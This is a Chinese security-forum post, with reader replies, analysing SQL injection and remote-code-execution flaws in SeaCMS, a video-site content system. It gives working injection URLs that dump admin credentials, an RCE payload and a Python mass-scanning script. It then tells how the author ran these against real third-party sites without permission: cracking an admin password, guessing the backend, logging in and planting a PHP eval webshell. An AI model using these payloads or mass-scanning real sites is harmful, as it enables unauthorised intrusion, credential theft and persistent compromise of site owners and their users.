用户
搜索
  • TA的每日心情
    慵懒
    昨天 17:29
  • 签到天数: 47 天

    连续签到: 1 天

    [LV.5]常住居民I

    版主

    QQ547006660~欢迎交流

    Rank: 7Rank: 7Rank: 7

    43

    主题

    142

    帖子

    6205

    魔法币
    收听
    0
    粉丝
    38
    注册时间
    2017-1-18

    秦春秋文阁春秋游侠核心白帽i春秋签约作者幽默灌水王积极活跃奖白帽高手

    J0o1ey 版主 QQ547006660~欢迎交流 秦 春秋文阁 春秋游侠 核心白帽 i春秋签约作者 幽默灌水王 积极活跃奖 白帽高手 楼主
    发表于 2019-10-1 01:11:41 866672

    0X001海洋CMS简介

    海洋cms是为解决站长核心需求而设计的视频内容管理系统,一套程序自适应电脑、手机、平板、APP多个终端入口,无任何加密代码、安全有保障,是您最佳的建站工具。——来自seacms官网(简而言之就是专门搭建看片网站的cms)
    经过我多年**的经验,很多看小电影的网站都是用的这套cms或是maccms,因此是时候血洗小电影站点了
    uNuNfe.png
    呵呵,安全有保障??头都给你打爆掉,百度搜索seacms。。漏洞信息都已经上了首页了。。
    uNu8w6.png

    0X002 SeaCMS V9.1以下版本全版本SQL注入分析

    看到了最近tools上的seacms sql注入漏洞,不由得下体一硬。
    干干巴巴的,cnm,必须盘他!

    漏洞产生处code如下

    session_start();
    require_once("../../include/common.php");
    $id = (isset($gid) && is_numeric($gid)) ? $gid : 0;
    $page = (isset($page) && is_numeric($page)) ? $page : 1;
    $type = (isset($type) && is_numeric($type)) ? $type : 1;
    $pCount = 0;
    $jsoncachefile = sea_DATA."/cache/review/$type/$id.js";
    //缓存第一页的评论
    if($page<2)
    {
            if(file_exists($jsoncachefile))
            {
                    $json=LoadFile($jsoncachefile);
                    die($json);
            }
    }
    $h = ReadData($id,$page);
    $rlist = array();
    if($page<2)
    {
            createTextFile($h,$jsoncachefile);
    }
    die($h);        
    
    function ReadData($id,$page)
    {
            global $type,$pCount,$rlist;
            $ret = array("","",$page,0,10,$type,$id);
            if($id>0)
            {
                    $ret[0] = Readmlist($id,$page,$ret[4]);
                    $ret[3] = $pCount;
                    $x = implode(',',$rlist);
                    if(!empty($x))
                    {
                    $ret[1] = Readrlist($x,1,10000);
                    }
            }
            $readData = FormatJson($ret);
            return $readData;
    }
    
    function Readmlist($id,$page,$size)
    {
            global $dsql,$type,$pCount,$rlist;
            $ml=array();
            if($id>0)
            {
                    $sqlCount = "SELECT count(*) as dd FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC";
                    $rs = $dsql ->GetOne($sqlCount);
                    $pCount = ceil($rs['dd']/$size);
                    $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND v_id=$id ORDER BY id DESC limit ".($page-1)*$size.",$size ";
                    $dsql->setQuery($sql);
                    $dsql->Execute('commentmlist');
                    while($row=$dsql->GetArray('commentmlist'))
                    {
                            $row['reply'].=ReadReplyID($id,$row['reply'],$rlist);
                            $ml[]="{\"cmid\":".$row['id'].",\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".date("Y/n/j H:i:s",$row['dtime'])."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
                    }
            }
            $readmlist=join($ml,",");
            return $readmlist;
    }
    
    function Readrlist($ids,$page,$size)
    {
            global $dsql,$type;
            $rl=array();
            $sql = "SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=$type AND id in ($ids) ORDER BY id DESC";
            $dsql->setQuery($sql);
            $dsql->Execute('commentrlist');
            while($row=$dsql->GetArray('commentrlist'))
            {
                    $rl[]="\"".$row['id']."\":{\"uid\":".$row['uid'].",\"tmp\":\"\",\"nick\":\"".$row['username']."\",\"face\":\"\",\"star\":\"\",\"anony\":".(empty($row['username'])?1:0).",\"from\":\"".$row['username']."\",\"time\":\"".$row['dtime']."\",\"reply\":\"".$row['reply']."\",\"content\":\"".$row['msg']."\",\"agree\":".$row['agree'].",\"aginst\":".$row['anti'].",\"pic\":\"".$row['pic']."\",\"vote\":\"".$row['vote']."\",\"allow\":\"".(empty($row['anti'])?0:1)."\",\"check\":\"".$row['ischeck']."\"}";
            }
            $readrlist=join($rl,",");
            return $readrlist;
    }

    仔细阅读以上代码,发现$rlist还未被初始化就先进入到了ReadData函数,但实际上 $rlist 可控,最终Readrlist函数造成注入
    漏洞利用Exploit如下(获取管理员表中第一个用户的密码)

    http://www.seacms.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`

    Exploit2(获取管理员表中第一个用户的账号)

    http://www.seacms.net/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(name)from%20sea_admin))),@`%27`

    0X003 SeaCMS最新版本RCE分析

    在最新版本的Seacms中sql注入过滤api,着实让人非常蛋疼。过滤的比较全,不太好绕
    uNu3ex.png

    与老版本的seacms对比发现,程序员不知为何脑子犯抽,注释掉了数据库类中的一行代码,导致数据库报错的信息会直接写入到/data/mysqli_error_trace.php文件下,直接实现了前台rce
    uNuGTK.png
    Exploit如下
    www.xxx.com/comment/api/index.php?gid=1&page=2&rlist[]=11/?><?php phpinfo();/
    随后访问http://www.xxx.com/data/mysqli_error_trace.php
    发现phpinfo即可执行
    uNulO1.png
    闲来无事,直接写了一个批量利用这个rce漏洞getshell的脚本,文末回复即可下载
    uNuaSH.png

    0X004实战

    分析完漏洞后一不做二不休,直接写了个脚本怼了一下百度权重排名前10000的站点:
    uNuYFO.png
    code如下(url.txt内容为你要批量测试的url)

    import requests
    print(" Seacms v9 SQL Injection-Author:J0o1ey QQ:547006660")
    urls = open(r"url.txt", "r")
    payload = '/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`'
    for url in urls:
        testurl = url.strip() + payload
        html = requests.get(testurl).text
        if "seacms" in html:
            print("[+]Exploit URL:" + testurl)

    虽然比较简陋,但也够用了,我在文末放出了批量检测seacms的完整漏洞利用脚本,可以批量注入和getshell,各位朋友有兴趣可以回复下载

    Sql注入的探测脚本发现了一个目标
    https://www.***.com/comment/api/index.php?gid=1&page=2&rlist[]=@`%27`,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20(password)from%20sea_admin))),@`%27`
    uNutYD.png
    这个站用的老版本seacms,因此不存在前台rce
    uNudld.png

    获取到admin用户的md5加密后的密码为b93af3cf59d757e27ca5
    somd5成功解密
    uNuw6A.png

    密码为Qq7788520
    随后拿着后台路径扫描的程序瞎jb一顿乱扫,结果并没有扫到后台
    uNugfg.png

    光拿到管理员账号密码,但是没有后台,那有个卵用啊。。。
    但是,我眉头一皱,发现事情并不简单
    前面获取到的密码是Qq7788520,这应该是管理员的qq吧?
    uNu0OI.png

    猜测后台为https://www.***.com/7788520
    结果Duang的一下~真tmd是后台。。。。进去了
    用之前注入到的账号密码,成功登录之
    uNur0P.png
    即使进了后台,拿不到shell的话,也是很鸡肋的,于是我便找了一下seacms公开的漏洞
    最后找到了CVE-2018-14421,一个Seacms Backend的RCE

    漏洞详情链接:http://hexo.imagemlt.xyz/post/seacms-backend-getshell/index.html

    漏洞分析文章:https://www.anquanke.com/post/id/152764

    按照作者给出的方法,是在后台编辑video的时候,在图片pic处注入代码

    {if:1)$GLOBALS['_G'.'ET']a;//}{end if}
    利用是:/details/index.php?1.html&m=admin&a=assert&b=phpinfo()
    仔细研究了一下,不一定偏要像作者那样利用,只要在这个video的照片出现的地方通过get方式传导php代码即可实现参数污染

    我在首页上找到了一个叫做“传说中的七公主”的video,
    uNuDmt.png

    在后台搜索该影片后
    我把它的照片链接处改为了{if:1)$GLOBALS[‘_G’.’ET’]a;//}{end if}
    uNusTf.png

    随后访问链接:
    http://www.***.com/index.php?1.html&m=admin&a=assert&b=${fputs(fopen(%27d.php%27,%27w%27),%27%3C?php%20@eval($_POST[c])?%3E%27)};

    成功通过RCE利用PHP的fputs函数在网站根目录下,写入了一个名为d.php的Webshell(密码为c)

    高高兴兴连接之
    uNuctS.png

    0x005感想

    最近因为各种原因,没太有时间写文章,加上自己又大病了一个多月,可以说是非常虚弱啦,希望大家能够理解。
    今天是祖国母亲的生日,最能表达此时情感的当应是鲁迅先生的那句“寄意寒星荃不察,我以我血荐轩辕”,我虽是茫茫人海中浮浮沉沉的浮游,但我依然怀有建设祖国,报效祖国的梦。
    此生无悔为中华,来世愿在中华家。没有网络安全就没有国家安全,愿你我永立网络安全的潮头,为祖国的长治久安保驾护航。
    祝福中国,祝福这个伟大的时代!
    uNu6k8.png

    0x006批量利用脚本


    游客,如果您要查看本帖隐藏内容请回复
    有培训需求或是技术交流需求的朋友可以联系我~QQ547006660交流群820783253
                                    
    使用道具 举报 回复
    大表哥,我想问一下。注入的用的哪个版本复现的?我下载了9.1跟7.1都复现不了
    使用道具 举报 回复
    啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
    使用道具 举报 回复
    啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊
    使用道具 举报 回复
             
    欢迎各位一起学习~交流QQ1974462  叫我苏苏就好!!
    使用道具 举报 回复

    嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻
    使用道具 举报 回复
    嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻嘻
    使用道具 举报 回复
    苹果cms有没有好利用的,有代码waf
    使用道具 举报 回复
    发表于 2019-10-1 05:46:07
    路虽远,行则必达。事虽难,做则必成。
    使用道具 举报 回复
    发表于 2019-10-1 09:34:24
    非常感谢楼主。学了到了。
    使用道具 举报 回复
    非常感谢楼主。学了到了。
    使用道具 举报 回复
    发表于 2019-10-1 09:45:33
    这个小众的cms都被玩烂啦
    有一天他会突然觉得累了甚至忘了初衷 放弃了梦想也许因为年纪的关系奔波于现实 然后拉黑了网络认识的所有人或者说不用了一个号码换了一个QQ 那么记得他叫大叔 这个网络他曾来过
    使用道具 举报 回复
    发表于 2019-10-1 09:59:40
    咔咔咔咔咔咔扩扩
    使用道具 举报 回复
    发表于 2019-10-1 13:21:13
    感谢表哥分享,受教了。
    使用道具 举报 回复
    老哥果然稳
    使用道具 举报 回复
    发表于 2019-10-1 13:48:27
    老哥果然稳
    使用道具 举报 回复
    使用道具 举报 回复
    学习学习学习使我快乐
    使用道具 举报 回复
    发表于 2019-10-2 11:38:01
    1111111111111111111111
    使用道具 举报 回复
    发表于 2019-10-2 14:23:02
    感谢表哥分享,受教了。
    使用道具 举报 回复
    发表于 2019-10-2 16:17:17

    非常感谢楼主。学了到了。
    使用道具 举报 回复
    发表于 2019-10-3 09:27:01
    非常感谢j0大表哥的rce
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册